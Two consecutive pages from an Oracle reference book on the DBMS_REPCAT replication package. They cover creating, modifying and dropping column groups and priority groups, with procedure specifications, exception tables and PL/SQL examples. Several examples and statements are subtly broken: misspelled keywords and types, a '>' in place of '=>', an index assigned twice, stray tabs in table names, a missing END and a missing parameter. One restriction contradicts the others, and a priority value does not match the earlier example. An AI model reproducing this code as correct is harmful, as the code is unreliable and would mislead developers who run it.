Previous: 15.6 DBMS_REPUTIL: Enabling and Disabling Replication | Oracle Built-in Packages | Next: 16.2 Column Groups with DBMS_REPCAT
15.6 DBMS_REPUTIL: Enabling and Disabling Replication | Book Index | 16.2 Column Groups with DBMS_REPCAT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.2 Column Groups with DBMS_REPCAT

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

16.2 Column Groups with DBMS_REPCAT

Column groups provide a mechanism for guaranteeing data consistency across one or more columns in a replicated table. Every replicated table has at least one column group, called the default column group, which Oracle creates automatically. You can also create your own column groups (and you probably should) in which you group logically related fields.

16.2.1 About Column Groups

Suppose that you have a customer table that contains address information, such as street address, city, state, and postal code, plus personal information such as last name, marital status, birth date, and phone number.

SQL> desc customer
 Name                   Null?           Type
 ---------------	--------	------
 CUSTOMER_ID                            NUMBER(6)
 NAME                                   VARCHAR2(30)
 MARITAL_STATUS                         VARCHAR2(1)
 PHONE_NUMBER                           VARCHAR2(16)
 STREET_ADDR                            VARCHAR2(30)
 CITY                                   VARCHAR2(30)
 STATE                                  VARCHAR2(30)
 POSTAL_CODE                            VARCHAR2(12)
 TIMESTAMP                              DATE
 GLOBAL_NAME                            VARCHAR2(30)

In this table, the fields pertaining to the customer's address (i.e., STREET_ADDR, CITY, STATE, and POSTAL_CODE) are logically related. You would not want to allow an update at one site to set the CITY to "San Francisco" and an update at another site to set the STATE to "Mississippi" since (as of this writing) there is no such municipality as San Francisco, Mississippi.

Oracle's answer to this potential catastrophe is the column group. A column group is a logical grouping of columns whose collective values are treated as a unit. If we create a column group and add the address-related fields STREET_ADDR, CITY, STATE, and POSTAL_CODE, we can be sure that rows in this table will always contain consistent values for these columns. We can also make a second column group consisting of the fields NAME, MARITAL_STATUS, and PHONE_NUMBER. Note that a row in this table could contain address information that was entered at one site, and name information that was entered at another site.

As we shall see in the later section "Built-in Resolution Techniques," every column group needs to have a "governing" column that determines which data is to be considered correct. For example, if you want to use the Latest Timestamp resolution method for a given column group, then your table should include a DATE field, and your application should update this field with the current time whenever it performs inserts or updates on the table.

NOTE: Oracle automatically creates a default column group, called the shadow column group, when you generate replication support for a table. This column group contains every field that you do not explicitly place in a column group of your own.

The procedures you'll use to create and maintain column groups follow:

DBMS_REPCAT.ADD_GROUPED_COLUMN
DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP
DBMS_REPCAT.DEFINE_COLUMN_GROUP
DBMS_REPCAT.DROP_COLUMN_GROUP
DBMS_REPCAT.DROP_GROUPED_COLUMN
DBMS_REPCAT.MAKE_COLUMN_GROUP

16.2.2 Creating and Dropping Column Groups

The DEFINE_COLUMN_GROUP, DROP_COLUMN_GROUP, and MAKE_COLUMN_GROUP procedures are used to create and drop column groups. The difference between DEFINE_COLUMN_GROUP and MAKE_COLUMN_GROUP is that the former creates a column group with no member columns, and the latter both creates the group and adds columns to it.

16.2.2.1 The DBMS_REPCAT.DEFINE_COLUMN_GROUP procedure

The DEFINE_COLUMN_GROUP procedure creates a column group with no member columns. Here's the specification:

PROCEDURE DBMS_REPCAT.DEFINE_COLUMN_GROUP
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    comment IN VARCHAR@ := NULL);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs
oname | Name of the replicated table containing the column group
column_group | Name of the column group
comment | Comment

16.2.2.1.1 Exceptions

The DEFINE_COLUMN_GROUP procedure may raise the following exceptions:

Name | Number | Description
duplicategroup | -23330 | Column_group already exists
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23312 | Calling site is not master definition site

16.2.2.1.2 Restrictions

Note the following restrictions on calling the DEFINE_COLUMN_GROUP:

  • You must call this procedure from the quiesced master definition site.

  • You must regenerate replication support for the table after defining the column group with the GENERATE_REPLICATION_SUPPORT procedure.

16.2.2.1.3 Example

The DEEFINE_COLUMN_GROUP creates an empty column group -- that is, one with no members. After creating the column group, you can add columns to it with the DBMS_REPCAT.ADD_GROUPED_COLUMN procedure described later in this chapter. The following example creates an empty column group for table SPROCKET.PRODUCTS:

    BEGIN
        DBMS_REPCAT.DEFINE_COLUMN_GROUP(sname=> 'SPROCKET',
                oname => 'PRODUCTS	',
                column_group => 'CG_PRODUCTS_PRICE_COLS',
                comment => 'Comment added on '||sysdate|| ' by ' ||user);
    END;

16.2.2.2 The DBMS_REPCAT.DROP_COLUMN_GROUP procedure

The DROP_COLUMN_GROUP procedure drops a column group that you've previously created. Here's the specification:

PROCEDURE DBMS_REPCAT.DROP_COLUMN_GROUP
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs
oname | Name of the replicated table containing the column group
column_group | Name of the column group

16.2.2.2.1 Exceptions

The DROP_COLUMN_GROUP procedure may raise the following exceptions:

Name | Number | Description
missinggroup | -23331 | The column_group does not exist
missingobject | -23308 | The object oname does not exist
missingschema | -23306 | The schema sname does not exist
nonmasterdef | -23312 | Calling site is not master definition site
referenced | -23332 | The column_group is used by existing conflict resolution methods

16.2.2.2.2 Restrictions

Note the following restrictions on calling DROP_COLUMN_GROUP:

  • You must call this procedure from the quiesced master definition site.

  • You must regenerate replication support for the table after defining the column group with the GENERATE_REPLICATION_SUPPORT procedure.

16.2.2.2.3 Example

This example drops the column group CG_PRODUCTS_PRICE_COLS that was created in the CREATE_COLUMN_GROUP example:

BEGIN
    DBMS_REPCAT.DROP_COLUMN_GROUP(sname > 'SPROCKET',
                                  oname => 'PRODUCTS	',
                                  column_group => 'CG_PRODUCTS_PRICE_COLS');
END;

16.2.2.3 The DBMS_REPCAT.MAKE_COLUMN_GROUP procedure

The MAKE_COLUMN_GROUP procedure creates a column group and adds member columns to it. Here's the specification:

PROCEDURE DBMS_REPCAT.MAKE_COLUMN_GROUP
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    {list_of_column_names IN VARCHAR2 |
    list_of_column_names IN dbms_repcat.varchar2s} );

Note that you must specify only one of the list_of_column_names parameters.

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs.
oname | Name of the replicated table containing the column group.
column_group | Name of the column group.
list_of_column_names | A comma-delimited list of column names, or a PL/SQL table of column names. Use `*' to add all columns in the table.

16.2.2.3.1 Exceptions

The MAKE_COLUMN_GROUP procedure may raise the following exceptions:

Name | Number | Description
duplicatecolumn | -23333 | Column(s) already a member of a different column group
duplicategroup | -23330 | column_group already exists
missingcolumn | -23334 | Column(s) specified do not exist in table oname
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23312 | Calling site is not master definition site

16.2.2.3.2 Restrictions

Note the following restrictions on calling MAKE_COLUMN_GROUP:

  • You must call this procedure from the quiesced master definition site.

  • You must regenerate replication support for the table after defining the column group with the DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure.

16.2.2.3.3 Example

By passing "*" to the list_of_column_names parameter in MAKE_COLUMN_GROUP, you can create a column group consisting of all columns in the table.

    BEGIN
        DBMS_REPCAT.MAKE_COLUMN_GROUP(sname=> 'SPROCKET',
                         oname => 'PRODUCTS	',
                         column_group => 'CG_PRODUCTS_ALL_COLS',
                         list_of_column_names => '*');
    END;

You can also use MAKE_COLUMN_GROUP to create a column group containing whatever subset of columns you want.

    BEGIN
        DBMS_REPCAT.MAKE_COLUMN_GROUP(
            sname		=> 'SPROCKET',
            oname 		=> 'PRODUCTS	',
            column_group	=> 'CG_PRODUCTS_MFG_COLS',
            list_of_column_names=> 'REV_LEVEL, PRODUCTION_DATE,
                            PRODUCTION_STATUS');
    END;

16.2.3 Modifying Existing Column Groups

Once you have created a column group, you can add and remove member columns (with the ADD_GROUPED_COLUMN and DROP_GROUPED_COLUMN procedures), and you can add or change the comment associated with the group (with the COMMENT_ON_COLUMN_GROUP procedure).

16.2.3.1 The DBMS_REPCAT.ADD_GROUPED_COLUMN procedure

The ADD_GROUPED_COLUMN procedure adds a member column to a column group. You can call this procedure after you have created a new, empty column group with DBMS_REPCAT.DEFINE_COLUMN_GROUP, or if your schema or conflict resolution requirements change. Here's the specification:

PROCEDURE DBMS_REPCAT.ADD_GROUPED_COLUMN
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    {list_of_column_names IN VARCHAR2 |
    list_of_column_names IN dbms_repcat.varchar2s});

Note that you must specify only one of the list_of_column_names parameters.

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema that owns the replicated table.
oname | Name of the table with the column_group.
column_group | Name of the column_group to which column(s) will be added.
list_of_column_names | A comma-delimited list of column names, or a PL/SQL table of column names. Use "*" to add all columns in the table to the column group.

16.2.3.1.1 Exceptions

ADD_GROUPED_COLUMN may raise the following exceptions:

Name | Number | Description
nonmasterdef | -23312 | Invoking site is not master definition site
missingobject | -23308 | Table oname does not exist
missinggroup | -23331 | Column group column_group does not exist
missingcolumn | -23334 | Column(s) specified do not exist in table oname
duplicatecolumn | -23333 | Column(s) specified already exist in column_group
missingschema | -23306 | Schema sname does not exist

16.2.3.1.2 Restrictions

Note the following restrictions on calling ADD_GROUPED_COLUMN:

  • You must call this procedure from the quiesced master definition site.

  • You must regenerate replication support for the table after defining the column group with the GENERATE_REPLICATION_SUPPORT procedure.

16.2.3.1.3 Example

In this example, we add the columns CATALOG_ID and DESCRIPTION to the column group CG_PRODUCT_MFG_COLS that we created in the MAKE_COLUMN_GROUP example:

    DECLARE cg_list DBMS_REPCAT.VARCHAR2(s);
    BEGIN
        cg_list(1) := 'CATALOG_ID';
        cg_list(1) := 'DESCRIPTION';

        DBMS_REPCAT.ADD_GROUPED_COLUMN(sname=> 'SPROCKET',
                         oname => 'PRODUCTS	',
                         column_group => 'CG_PRODUCT_MFG_COLS',
                         list_of_column_names => cg_list);
    END;

16.2.3.2 The DBMS_REPCAT.DROP_GROUPED_COLUMN procedure

The DROP_GROUPED_COLUMN procedure allows you to drop a column from a column group. Dropping a column from a column group is quite similar to adding one. Make sure, however, that none of your conflict resolution methods reference the column(s) that you are dropping. And as with the other procedures with a "list_of_column_names" parameter, you can pass "*" to the parameter to indicate all fields in table oname. Here's the specification:

PROCEDURE DBMS_REPCAT.DROP_GROUPED_COLUMN
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    {list_of_column_names IN VARCHAR2 |
    list_of_column_names IN dbms_repcat.varchar2s});

Note that you must specify only one of the list_of_column_names parameters.

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema that owns the replicated table
oname | Name of the table with the column_group
column_group | Name of the column_group from which column(s) will be dropped
list_of_column_names | A comma-delimited list of column names, or a PL/SQL table of column names

16.2.3.2.1 Exceptions

The DROP_GROUPED_COLUMN procedure may raise the following exceptions:

Name | Number | Description
missinggroup | -23331 | Column group column_group does not exist
missingobject | -23308 | Table oname does not exist
missingschema | -23306 | Schema sname does not exist
nonmasterdef | -23312 | Invoking site is not the master definition site

16.2.3.2.2 Restrictions

Note the following restrictions on calling DROP_GROUPED_COLUMN:

  • You must not call this procedure from the quiesced master definition site.

  • You must regenerate replication support for the table after defining the column group with the GENERATE_REPLICATION_SUPPORT procedure.

16.2.3.2.3 Example

The following example shows how to drop a column from an existing column group:

    BEGIN
        DBMS_REPCAT.DROP_GROUPED_COLUMN(
                sname		=> 'SPROCKET',
                oname		=> 'PRODUCTS',
                column_group	=> 'CG_PRODUCT_MFG_COLS',
                list_of_column_names	=> 'CATALOG_ID, DESCRIPTION');
    END;

16.2.3.3 The DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP procedure

The COMMENT_ON_COLUMN_GROUP procedure adds or changes the comment associated with a column group. Here's the specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    comment IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs
oname | Name of the replicated table containing the column group
column_group | Name of the column group
comment | Comment

16.2.3.3.1 Exceptions

The COMMENT_ON_COLUMN_GROUP procedure may raise the following exceptions:

Name | Number | Description
missinggroup | -23331 | The column_group does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.2.3.3.2 Restrictions

The COMMENT_ON_COLUMN_GROUP procedure must be called from the master definition site.

16.2.3.3.3 Example

You can create or change the comment field in DBA_REPCOLUMN_GROUP with the COMMENT_ON_COLUMN_GROUP procedure, as the following example illustrates:

    BEGIN
        DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP(
                sname 		=> 'SPROCKET',
                oname		=> 'PRODUCTS',
                column_group	=> 'CG_PRODUCT_MFG_COLS',
                comment		=> 'Added catalog_id + desc on '||sysdate);

Previous: 16.1 Getting Started with DBMS_REPCAT | Oracle Built-in Packages | Next: 16.3 Priority Groups with DBMS_REPCAT
16.1 Getting Started with DBMS_REPCAT | Book Index | 16.3 Priority Groups with DBMS_REPCAT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.3 Priority Groups with DBMS_REPCAT

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

16.3 Priority Groups with DBMS_REPCAT

Priority groups allow you to determine the validity of data based on its value. The priority group conflict resolution technique is most effective for data that has a finite range of possible values, and that goes through this range in a specific order.

16.3.1 About Priority Groups

Consider the products table:

SQL>desc products
Name				 	Null?           Type
 ------------------------------- 	-------- 	----
 PRODUCT_ID				NOT NULL 	NUMBER(9)
 PRODUCT_TYPE				NOT NULL 	NUMBER(6)
 CATALOG_ID				NOT NULL 	VARCHAR2(15)
 DESCRIPTION				NOT NULL 	VARCHAR2(30)
 REV_LEVEL				NOT NULL 	VARCHAR2(15)
 PRODUCTION_DATE			NOT NULL 	DATE
 PRODUCTION_STATUS			NOT NULL 	VARCHAR2(12)
 AUDIT_DATE				NOT NULL 	DATE
 AUDIT_USER				NOT NULL 	VARCHAR2(30)
 GLOBAL_NAME				NOT NULL 	VARCHAR2(20)

The PRODUCTION_STATUS field in this table can only take on certain values: CONCEPT, DEVELOPMENT, BETA, PRODUCTION, and DISCONTINUED. In addition, products must go through this range of values in the order given.

This concept of a sequential range of values is known as a workflow, and priority groups are designed to enforce the rules of a workflow in a replicated environment. Unlike column groups, which pertain to fields in a specific table, you can define a priority group for a specific column, which may appear in one or more tables. Once you define and configure a priority group, you can designate it to resolve update conflicts within a column group. The basic idea is that if a conflict arises, the row with the data corresponding to the higher priority in the workflow "wins."

Use the following programs to create and maintain priority groups:

DBMS_REPCAT.ADD_PRIORITY_<datatype>
DBMS_REPCAT.ALTER_PRIORITY
DBMS_REPCAT.ALTER_PRIORITY_<datatype>
DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUPS
DBMS_REPCAT.DEFINE_PRIORITY_GROUPS
DBMS_REPCAT.DROP_PRIORITY
DBMS_REPCAT.DROP_PRIORITY_GROUP
DBMS_REPCAT.DROP_PRIORITY_<datatype>

16.3.2 Creating, Maintaining, and Dropping Priority Groups

DBMS_REPCAT's DEFINE_PRIORITY_GROUP and DROP_PRIORITY_GROUP procedures allow you to create and drop priority groups. You use the COMMENT_ON_PRIORITY_GROUP procedure to maintain the comment on the priority group.

16.3.2.1 The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure

The DEFINE_PRIORITY_GROUP procedure creates a new priority group. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DEFINE_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    datatype IN VARCHAR2,
    fixed_length IN INTEGER := NULL,
    comment IN VARCHAR2 := NULL,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DEFINE_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    datatype IN VARCHAR2,
    fixed_length IN INTEGER := NULL,
    comment IN VARCHAR2 := NULL);

Parameters are summarized in the following table.

Name

Description

gname

Name of the replication group containing the priority group.

pgroup

Name of the priority group.

datatype

Datatype for the value used in the priority group. Supported datatypes:

  • CHAR

  • NCHAR (Oracle8 only)

  • VARCHAR2

  • NUMBER

  • DATE

  • RAW

fixed_length

Fixed length for values. Used only for datatype CHAR.

comment

Comment.

sname (Oracle7 only)

Not used.

16.3.2.1.1 Exceptions

The DEFINE_PRIORITY_GROUP procedure may raise the following exceptions:

Name | Number | Description
duplicateprioritygroup | -23335 | Priority group pgroup already exists
missingschema | -23306 | Schema does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
typefailure | -23319 | Datatype not supported

16.3.2.1.2 Restrictions

Note the following restrictions on calling DEFINE_PRIORITY_GROUP:

  • You must call the DEFINE_PRIORITY_GROUP procedure from the master definition site.

  • You must call GENERATE_REPLICATION_SUPPORT for any object in the replication group for the new priority group to become active.

16.3.2.1.3 Example

Since priority groups are meant to work with a specific range of values, you must specify the datatype of these values when you create the group. Valid datatypes follow:

CHAR
NCHAR (Oracle8 only)
VARCHAR2
NUMBER
DATE
RAW

If the data type is CHAR, then you must also specify the length of the data with the fixed_length parameter. After you create a priority group, you must run DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for any object in the same replication group to propagate the new priority group to other master sites. (Since priority groups are not associated with a specific object, it does not matter what object you use in the call the GENERATE_REPLICATION_SUPPORT.)

16.3.2.1.4 Creating a priority group for datatype CHAR

This call creates a priority group for a CHAR datatype. For the sake of this example, assume that the range of values is GREEN, YELLOW, RED, and the longest string is six characters long.

    BEGIN
        DBMS_REPCAT.DEFINE_PRIORITY_GROUP(
                gname		=> 'SPROCKET',
                pgroup		=> 'PG_SIGNAL_COLORS',
                datatype	=> 'CHAR',
                fixed_length	=> 6,
                comment		=> 'PG_SIGNAL_COLORS created '||sysdate);
    END;

16.3.2.1.5 Creating a priority group for datatype VARCHAR

For all other datatypes, the use of the fixed_length parameter does not apply. This statement creates a priority group for use with the PRODUCTION_STATUS field in the PRODUCTS table:

    BEGIN
        DBMS_REPCAT.DEFINE_PRIORITY_GROUP(
            gname		=> 'SPROCKET',
            pgroup		=> 'PG_PRODUCTION_STATUS',
            datatype	=> 'VARCHAR',
            comment		=> 'PG_PRODUCTION_STATUS created '||sysdate);
    END;

16.3.2.2 The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure

The DROP_PRIORITY_GROUP procedure lets you drop a priority group that you have defined. The specifications differ for Oracle7 and Oracle8 as follows.

here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DROP_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DROP_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group containing the priority group
pgroup | Name of the priority group to drop
sname (Oracle7 only) | Not used

WARNING: Do not drop a priority group that you have designated as an UPDATE conflict resolution method for a column group. You must first use DROP_UPDATE_RESOLUTION for the column group. Records in the data dictionary view DBA_REPRESOLUTION indicate if and where the priority group is used. Attempting to drop a priority group that is in use raises the referenced exception.

16.3.2.2.1 Exceptions

The DROP_PRIORITY_GROUP procedure may raise the following exceptions:

Name | Number | Description
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
referenced | -23332 | Priority group pgroup is used by existing conflict resolution methods

16.3.2.2.2 Restrictions

You must call DBMS_REPCAT.DROP_PRIORITY_GROUP from the master definition site.

16.3.2.2.3 Example

You can use DBMS_REPCAT.DROP_PRIORITY_GROUP as follows to remove a particular priority group from the replication group:

BEGIN
    DBMS_REPCAT.DROP_PRIORITY_GROUP(
        gname	=>'SPROCKET',
        pgroup	=>'PG_PRODUCTION_STATUS');
END;

16.3.2.3 The DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP procedure

The COMMENT_ON_PRIORITY_GROUP procedure allows you to create or replace the comment for a priority group (as seen in the DBA_REPPRIORITY_GROUP data dictionary view). The specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    comment IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    comment IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group containing the priority group
pgroup | Name of the priority group
comment | Comment
sname (Oracle7 only) | Not used

16.3.2.3.1 Exceptions

The COMMENT_ON_PRIORITY_GROUP procedure may raise the following exceptions:

Name | Number | Description
missingprioritygroup | -23336 | Priority group pgroup does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.3.2.3.2 Restrictions

You must call COMMENT_ON_PRIORITY_GROUP from the master definition site.

16.3.2.3.3 Example

The following illustrates how you can replace the comment for the PG_SIGNAL_COLORS priority group:

    BEGIN
        DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP(
            gname	=> 'SPROCKET',
        comment => 'Valid values are GREEN, YELLOW, and RED');
    END;

16.3.3 Creating and Maintaining Priorities Within a Priority Group

The next step after creating a priority group is to add priorities to it. This task entails specifying every possible value for the data in the priority group, and assigning a priority to each value.

For example, recall the PRODUCTION_STATUS field we described earlier, which has this range of five possible values:

  1. CONCEPT

  2. DEVELOPMENT

  3. BETA

  4. PRODUCTION

  5. DISCONTINUED

We want to resolve conflicts for this data by accepting the data that is furthest in the production cycle. If a conflict arises in which one update has PRODUCTION_STATUS set to "BETA," and another update has it set to "PRODUCTION," we would take the data from the latter update.

The examples in the following sections illustrate exactly how to implement this priority group. We will show the following packages:

DBMS_REPCAT.ADD_PRIORITY_<datatype>
DBMS_REPCAT.ALTER_PRIORITY
DBMS_REPCAT.ALTER_PRIORITY_<datatype>
DBMS_REPCAT.DROP_PRIORITY
DBMS_REPCAT.DROP_PRIORITY_<datatype>

NOTE: Each of the procedures containing the <datatype> suffix actually has five different versions in Oracle7, one for each of the datatypes CHAR, VARCHAR2, NUMBER, RAW, and DATE. Oracle8 adds support for two more datatypes: NCHAR and NVARCHAR2. The usage of each of these packages is identical. Most of the examples in the following sections will use the VARCHAR2 version of these packages.

16.3.3.1 The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure

The ADD_PRIORITY_<datatype> procedure adds a member (of the specified datatype) to an existing priority group. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ADD_PRIORITY_<datatype>
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    value IN {CHAR|VARCHAR2|NUMBER|DATE|RAW,
    priority IN NUMBER,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ADD_PRIORITY_<datatype>
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    value IN {CHAR|NCHAR|VARCHAR2|NUMBER|DATE|RAW,
    priority IN NUMBER)
In these specifications, <datatype> can be any of the following, and value can be any of these types:
CHAR
VARCHAR2
NUMBER
DATE
RAW
NCHAR (Oracle8 only)
NVARCHAR2 (Oracle8 only)
Parameters are summarized in the following table.
Name | Description
gname | Name of the replication group to which priority group pgroup belongs
pgroup | Priority group to which new value and priority are being added
value | Literal value that is being assigned added to pgroup
priority | Priority designated to value
sname (Oracle7 only) | Not used
16.3.3.1.1 Exceptions
This procedure may raise the following exceptions:
Name | Number | Description
duplicatepriority | -23335 | Another value is already designated with priority priority
duplicatevalue | -23338 | Value is already in the priority group pgroup
missingprioritygroup | -23336 | Priority group pgroup does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
typefailure | -23319 | Datatype of value is not the same as the datatype for priority group pgroup
16.3.3.1.2 Restrictions
Note the following restrictions on calling ADD_PRIORITY_ <datatype>:
  • The new value must be unique within the priority group.
  • The new priority must be unique within the priority group.
  • ADD_PRIORITY_<datatype> must be called from the master definition site.
16.3.3.1.3 Example
To associate priorities with each of the five possible values of PRODUCTION_STATUS, we must make five calls to ADD_PRIORITY_VARCHAR2. After making these calls and a call to DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT, the column group is completely configured.
    BEGIN
        DBMS_REPCAT.ADD_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
                    value	=> 'CONCEPT',
            priority    => 10);
        DBMS_REPCAT.ADD_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
            value	=> 'DEVELOPMENT',
            priority=> 20);
        DBMS_REPCAT.ADD_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
            value	=> 'BETA',
            priority=> 30);
        DBMS_REPCAT.ADD_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
            value	=> 'PRODUCTION',
            priority=> 40);
        DBMS_REPCAT.ADD_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
            value	=> 'DISCONTINUED',
            priority=> 50);
    END;
TIP: It is a good idea to number priorities in multiples of 10 or more so that you can easily add new priority values later as requirements change.
16.3.3.2 The DBMS_REPCAT.ALTER_PRIORITY procedure
The ALTER_PRIORITY procedure lets you change the priority associated with a specific value in a priority group. The specifications differ for Oracle7 and Oracle8 as follows.
Here is the Oracle7 specification:
PROCEDURE DBMS_REPCAT.ALTER_PRIORITY
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    old_priority IN NUMBER,
    new_priority IN NUMBER,
    sname IN VARCHAR2 := '');
Here is the Oracle8 specification:
PROCEDURE DBMS_REPCAT.ALTER_PRIORITY
   (gname IN VARCHAR2 := '',
    pgroup IN VARCHAR2,
    old_priority IN NUMBER,
    new_priority IN NUMBER)
Parameters are summarized in the following table.
Name | Description
gname | Name of the replication group to which priority group pgroup belongs
pgroup | Name of the priority group whose priority is being altered
old_priority | pgroup's previous priority value
new_priority | pgroup's new priority value
sname | Not used
16.3.3.2.1 Exceptions
The ALTER_PRIORITY procedure may raise the following exceptions:
Name | Number | Description
duplicatepriority | -23335 | Priority new_priority already exists in priority group pgroup
missingprioritygroup | -23336 | Priority group pgroup does not exist
missingvalue | -23337 | Value was not registered (with a call to ADD_PRIORITY_<datatype>
nonmasterdef | -23312 | Calling site is not the master definition site
16.3.3.2.2 Restrictions
Note the following restrictions on calling ALTER_PRIORITY:
  • You must call the ALTER_PRIORITY procedure from the master definition site.
  • The new priority must be unique within the priority group.
16.3.3.2.3 Examples
Suppose that our requirements change such that we want the PRODUCTION_STATUS value DEVELOPMENT to have higher priority than BETA. We can accomplish this by changing the priority associated with DEVELOPMENT from 30 to 45.
    BEGIN
        DBMS_REPCAT.ALTER_PRIORITY(
            gname		=> 'SPROCKET',
            pgroup		=> 'PG_PRODUCTION_STATUS',
            old_priority	=> 30,
            new_priority	=> 45);
    END;
As with the call to ADD_PRIORITY_<datatype>, this change takes effect after the next call to DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT.
16.3.3.3 The DBMS_REPCAT.ALTER_PRIORITY_<datatype> procedure
The ALTER_PRIORITY_<datatype> procedures let you alter the data value associated with a specific priority for a priority group. The specifications differ for Oracle7 and Oracle8 as follows.
Here is the Oracle7 specification:
PROCEDURE DBMS_REPCAT.ALTER_PRIORITY_<datatype>
   (gname     IN VARCHAR2 := '',
    pgroup    IN VARCHAR2,
    old_value IN {CHAR|VARCHAR2|NUMBER|DATE|RAW},
    new_value IN {CHAR|VARCHAR2|NUMBER|DATE|RAW},
    sname     IN VARCHAR2 := '');
Here is the Oracle8 specification:
PROCEDURE DBMS_REPCAT.ALTER_PRIORITY_<datatype>
   (gname     IN VARCHAR2 := '',
    pgroup    IN VARCHAR2,
    old_value IN {CHAR|NCHAR|VARCHAR2|NUMBER|DATE|RAW},
    new_value IN {CHAR|NCHAR|VARCHAR2|NUMBER|DATE|RAW});
<datatype> can be one of the following, and value and old_value can be any of these types:
CHAR
VARCHAR2
NUMBER
DATE
RAW
NCHAR (Oracle8 only)
NVARCHAR2 (Oracle8 only)
Parameters are summarized in the following table.
Name | Description
gname | Name of the replication group to which priority group pgroup belongs
pgroup | Name of the priority group whose priority is being altered
old_value | Current value of the priority group member
new_value | New value of the priority group member
sname (Oracle7 only) | Not used
16.3.3.3.1 Exceptions
The ALTER_PRIORITY_<datatype> procedure may raise the following exceptions:
Name | Number | Description
duplicatevalue | -23338 | Value new_value is already designated a priority in priority group pgroup
missingprioritygroup | -23336 | Priority group pgroup does not exist
missingvalue | -23337 | Value was not registered (with a call to ADD_PRIORITY_<datatype>
nonmasterdef | -23312 | Calling site is not the master definition site
16.3.3.3.2 Restrictions
